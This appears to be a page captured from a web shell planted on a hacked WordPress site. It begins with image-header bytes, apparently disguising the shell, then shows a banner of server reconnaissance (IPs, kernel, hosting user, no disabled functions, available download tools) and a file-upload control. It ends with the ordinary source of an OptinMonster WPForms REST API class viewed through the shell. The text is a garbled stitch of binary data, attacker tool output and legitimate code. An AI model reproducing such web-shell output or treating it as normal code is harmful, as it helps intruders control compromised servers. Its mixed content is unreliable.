????JFIF??x?x????'
| Server IP : 172.67.174.47  /  Your IP : 216.73.216.83 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././home/tempvsty/././pontiacques.org/wp-content/plugins/optinmonster/OMAPI/WPForms/ | 
| Upload File : | 
<?php
/**
 * WPForms API routes for usage in WP's RestApi.
 *
 * @since 2.9.0
 *
 * @author  Eduardo Nakatsuka
 */
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * Rest Api class.
 *
 * @since 2.9.0
 */
class OMAPI_WPForms_RestApi extends OMAPI_BaseRestApi {
	/**
	 * The OMAPI_WPForms instance.
	 *
	 * @since 2.8.0
	 *
	 * @var OMAPI_WPForms
	 */
	public $wpforms;
	/**
	 * Constructor
	 *
	 * @since 2.13.0
	 *
	 * @param OMAPI_WPForms $wpforms
	 */
	public function __construct( OMAPI_WPForms $wpforms ) {
		$this->wpforms = $wpforms;
		parent::__construct();
	}
	/**
	 * Registers the Rest API routes for WPForms
	 *
	 * @since 2.9.0
	 *
	 * @return void
	 */
	public function register_rest_routes() {
		register_rest_route(
			$this->namespace,
			'wpforms/forms',
			array(
				'methods'             => WP_REST_Server::READABLE,
				'permission_callback' => array( $this, 'logged_in_or_has_api_key' ),
				'callback'            => array( $this, 'forms' ),
			)
		);
	}
	/**
	 * Handles getting WPForms forms.
	 *
	 * Route: GET omapp/v1/woocommerce/forms
	 *
	 * @since 2.9.0
	 *
	 * @param WP_REST_Request $request The REST Request.
	 *
	 * @return WP_REST_Response The API Response
	 * @throws Exception If plugin action fails.
	 */
	public function forms() {
		try {
			return new WP_REST_Response(
				$this->wpforms->get_forms_array(),
				200
			);
		} catch ( Exception $e ) {
			return $this->exception_to_response( $e );
		}
	}
}